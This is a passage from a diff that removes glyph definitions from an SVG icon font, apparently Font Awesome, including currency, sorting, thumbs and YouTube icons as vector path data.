-d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
-q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
-d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
-q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="_303" unicode="&#xf143;" 
-d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
-q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="play_sign" unicode="&#xf144;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
-q16 -8 32 -8q17 0 32 9z" />
-    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
-d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
-t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
-    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
-d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
-t84.5 -203.5z" />
-    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
-d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
-t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
-d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
-    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
-d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
-    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
-d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
-t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
-d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
-v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_312" unicode="&#xf14c;" 
-d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
-q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
-d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
-t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="compass" unicode="&#xf14e;" 
-d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
-t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="collapse" unicode="&#xf150;" 
-d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
-v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
-d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_317" unicode="&#xf152;" 
-d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
-t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
-d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
-t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
-l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
-    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
-d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
-q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
-    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
-d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
-t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
-t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
-t53 -63.5t31.5 -76.5t13 -94z" />
-    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
-d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
-q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
-d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
-l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
-    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
-d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
-q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
-    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
-d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
-t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
-q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
-d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
-l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
-t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
-    <glyph glyph-name="file" unicode="&#xf15b;" 
-d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
-    <glyph glyph-name="file_text" unicode="&#xf15c;" 
-d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
-q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
-    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
-d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
-v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
-l230 -662h70z" />
-    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
-d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
-v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
-v119h121z" />
-    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
-d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
-q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
-q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
-d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
-q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
-q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
-d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
-zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
-t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
-    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
-d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
-t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
-q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
-    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
-d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
-q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
-t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
-    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
-d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
-t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
-t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
-    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
-d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
-q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
-q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
-q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
-q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
-h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="youtube" unicode="&#xf167;" 
-d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
-q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
-q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
-q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
-q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
-    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
